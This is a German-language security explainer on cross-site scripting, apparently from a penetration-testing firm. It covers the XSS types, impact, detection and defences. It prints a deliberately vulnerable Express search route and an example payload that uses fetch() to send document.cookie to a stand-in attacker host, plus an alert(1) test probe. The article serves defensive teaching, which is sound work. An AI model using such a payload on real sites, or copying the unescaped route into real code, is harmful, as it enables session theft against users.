Zum Inhalt springen

Cross-Site-Scripting (XSS)

CWE-79OWASP A03:2021Aktualisiert 29. August 20264 Min. Lesezeit

Cross-Site-Scripting (XSS) ist eine Schwachstelle, bei der ein Angreifer schädliche Skripte in eine vertrauenswürdige Webseite einschleust, die dann im Browser ihrer Besucher ausgeführt werden. Damit kann er Session-Cookies stehlen, im Namen des Opfers handeln oder Passwörter abgreifen. Sie verhindern es, indem Sie jede Ausgabe kontextabhängig kodieren und eine Content Security Policy einsetzen.

Cross-Site-Scripting, meist zu XSS abgekürzt, ist eine der häufigsten Schwachstellen im Web. Bei einem XSS-Angriff schmuggelt ein Angreifer schädlichen JavaScript-Code in eine Webseite ein, und dieser Code läuft anschließend im Browser jedes Besuchers, der die Seite öffnet. Der Browser vertraut dem Code, weil er scheinbar von der Website selbst stammt. Dieser Artikel erklärt, wie XSS funktioniert, was ein Angreifer damit erreichen kann und wie Sie es dauerhaft verhindern.

Was ist Cross-Site-Scripting?

Cross-Site-Scripting ist eine Schwachstelle, bei der eine Anwendung Benutzereingaben ungefiltert in eine Webseite einfügt, sodass ein Angreifer Skripte einschleusen kann, die dann im Browser anderer Besucher ausgeführt werden. Die Gefahr liegt nicht in der Website, die den Inhalt anzeigt, sondern in dem Vertrauen, das der Browser allem entgegenbringt, was scheinbar von dieser Website stammt.

Stellen Sie sich ein Gästebuch vor. Besucher hinterlassen eine kurze Nachricht, die die Seite anschließend allen anzeigt. Vertraut die Seite blind darauf, was eingetippt wird, kann ein Angreifer statt “Schöne Seite!” ein Stück Programmcode hinterlassen. Von diesem Moment an führt der Browser jedes weiteren Besuchers diesen Code aus, als hätte die Website ihn selbst geschrieben. Der Browser kann nicht unterscheiden zwischen dem Code, den der Entwickler beabsichtigt hat, und dem Code, den der Angreifer eingeschleust hat.

Es gibt drei Hauptformen. Beim reflektierten XSS steckt der Code in einem Link oder Formular und wird direkt in der Antwort zurückgespiegelt, oft über einen Phishing-Link. Beim gespeicherten XSS legt die Anwendung den Code ab, etwa in einem Kommentar oder einem Profilfeld, und liefert ihn an jeden Besucher aus. Beim DOM-basierten XSS entsteht das Problem vollständig im Browser, weil clientseitiges JavaScript unsichere Eingaben in die Seite verarbeitet, ohne dass der Server je beteiligt ist.

Wie funktioniert ein XSS-Angriff?

Alles läuft auf einen einzigen Fehler hinaus: Benutzereingaben werden mit dem HTML der Seite vermischt, ohne dass die Eingabe zuvor unschädlich gemacht wird. Betrachten Sie eine einfache Suchseite, die den Suchbegriff an den Besucher zurückgibt.

Verwundbar:

app.get('/search', (req, res) => {
  const q = req.query.q;
  res.send(`<h1>Results for ${q}</h1>`);
});

Der Wert von q stammt direkt aus der URL und wird ohne jede Prüfung ins HTML eingefügt. Ein normaler Besucher sucht nach laptop und sieht diesen Suchbegriff sauber auf der Ergebnisseite zurückgegeben. Ein Angreifer schickt jedoch einen Link, dessen Suchbegriff <script>fetch('https://boesartig.example/x?c='+document.cookie)</script> lautet. Sobald das Opfer auf diesen Link klickt, läuft das Skript in seinem Browser und leitet dessen Session-Cookie an den Server des Angreifers weiter.

Sicher:

import escapeHtml from 'escape-html';

app.get('/search', (req, res) => {
  const q = escapeHtml(req.query.q);
  res.send(`<h1>Results for ${q}</h1>`);
});

Die sichere Variante kodiert die Eingabe, bevor sie in die Seite gelangt. Zeichen, die in HTML eine besondere Bedeutung haben, etwa die spitzen Klammern eines Tags, werden in ihre harmlosen Entsprechungen umgewandelt: < wird zu &lt;. Der Browser zeigt den Text dann wörtlich an und führt nichts davon aus. Entscheidend ist, dass die Kodierung kontextabhängig ist: Eingaben, die in einem HTML-Attribut, in einem Stück JavaScript oder in einer URL landen, verlangen jeweils ein anderes Kodierungsschema.

Das Kodieren bei der Eingabe (beim Speichern) reicht nicht aus. Kodieren Sie immer bei der Ausgabe und passen Sie die Kodierung an den Ort an, an dem die Daten landen. Andernfalls entkommt ein Payload trotzdem, sobald dieselben Daten in einem anderen Kontext wiederverwendet werden.

Welche Auswirkungen hat XSS?

Da der eingeschleuste Code mit allen Rechten des Besuchers in dessen Browser läuft, kann ein Angreifer grundsätzlich alles tun, was auch der Besucher kann. Technisch bedeutet das: Session-Cookies stehlen und so eine Sitzung übernehmen, Tastatureingaben mitschneiden, den Inhalt der Seite verändern, ein gefälschtes Login-Formular anzeigen, um Passwörter abzugreifen, oder heimlich Aktionen im Namen des Opfers ausführen. Ist dieses Opfer ein Administrator, kann der Angreifer im schlimmsten Fall die gesamte Anwendung übernehmen.

Geschäftlich übersetzt sich das in Datenschutzverletzungen, Reputationsschäden, mögliche Bußgelder und den Verlust von Kundenvertrauen. Gespeichertes XSS auf einer stark frequentierten Plattform ist besonders gefährlich: Der Code trifft jeden Besucher, der die infizierte Seite öffnet, und kann sich in manchen Fällen wie ein Wurm von Benutzer zu Benutzer verbreiten. Was auf dem Papier wie ein “harmloses” kleines Skript aussieht, ist in der Praxis oft ein vollwertiger Brückenkopf im Browser Ihrer Kunden.

Wie spürt man XSS auf?

Penetrationstester und Scanner suchen nach Stellen, an denen Eingaben ungefiltert in der Antwort zurückkommen. Der klassische Test ist ein harmloser Payload wie <script>alert(1)</script> oder ein eindeutiger Marker; kommt er unverändert im HTML zurück, ist die Stelle verdächtig. Automatisierte Werkzeuge wie Burp Suite und OWASP ZAP fuzzen Eingabefelder, URL-Parameter und Header mit Dutzenden Payload-Varianten und prüfen, ob sie ausführbar zurückkommen. DOM-basiertes XSS erfordert zusätzlich eine Analyse des clientseitigen JavaScripts, weil das Problem nie über den Server läuft und daher nicht in der Serverantwort sichtbar ist.

Bei einem Penetrationstest von AssistSec ist XSS eines der ersten Dinge, die wir systematisch abklopfen, einschließlich der kniffligen Fälle, die automatisierte Scanner übersehen, etwa Injektionen in JSON-Antworten oder in dynamisch aufgebauten DOM-Fragmenten.

Wie verhindert man XSS?

  • Kodieren Sie jede Ausgabe kontextabhängig. Machen Sie Benutzereingaben in dem Moment unschädlich, in dem Sie sie in die Seite einfügen, mit der richtigen Kodierung für HTML, Attribute, JavaScript oder URLs.
  • Nutzen Sie ein Framework, das automatisch kodiert. React, Angular und Vue kodieren die Ausgabe standardmäßig; achten Sie dabei auf die Hintertüren wie dangerouslySetInnerHTML und verwenden Sie sie nur mit bereinigtem Inhalt.
  • Vermeiden Sie innerHTML. Fügen Sie Text mit textContent in die Seite ein. Müssen Sie doch reichhaltiges HTML darstellen, bereinigen Sie es zuvor mit einer Bibliothek wie DOMPurify.
  • Setzen Sie eine Content Security Policy (CSP) ein. Eine strikte CSP begrenzt, welche Skripte der Browser ausführen darf, und bildet so eine starke zweite Verteidigungslinie, falls doch eine Lücke durchrutscht.
  • Markieren Sie Cookies als HttpOnly. So kann JavaScript das Session-Cookie nicht auslesen, was den Cookie-Diebstahl über XSS blockiert.
  • Validieren Sie Eingaben als zusätzliche Schicht: Weisen Sie zurück, was offensichtlich falsch ist, verlassen Sie sich aber nie darauf als einzige Maßnahme; Validierung ersetzt nicht das Kodieren der Ausgabe.

Quellen

Häufige Fragen

Ist XSS immer noch ein ernstes Risiko?

Ja. XSS steht seit Jahren in den OWASP Top 10 und gehört weiterhin zu den am häufigsten gefundenen Schwachstellen bei Webtests, auch weil moderne Single-Page-Anwendungen viele Daten clientseitig verarbeiten.

Was ist der Unterschied zwischen reflektiertem und gespeichertem XSS?

Beim reflektierten XSS steckt der Code in einem Link oder Formular und wird direkt an ein einzelnes Opfer zurückgespiegelt. Beim gespeicherten XSS legt die Anwendung den Code ab und liefert ihn an jeden Besucher aus.

Schützt eine Content Security Policy vor XSS?

Eine CSP ist eine starke zweite Verteidigungslinie, die die Auswirkungen von XSS begrenzt, aber sie ersetzt nicht das korrekte Kodieren der Ausgabe. Setzen Sie beides gemeinsam ein.

Reicht es, die Eingabe zu kodieren, um XSS zu stoppen?

Nicht für sich allein. Kodieren Sie immer bei der Ausgabe und passen Sie die Kodierung an den Kontext an, sei es HTML, ein Attribut, JavaScript oder eine URL.

Verwandte Artikel

Zum Suchen / drücken · Esc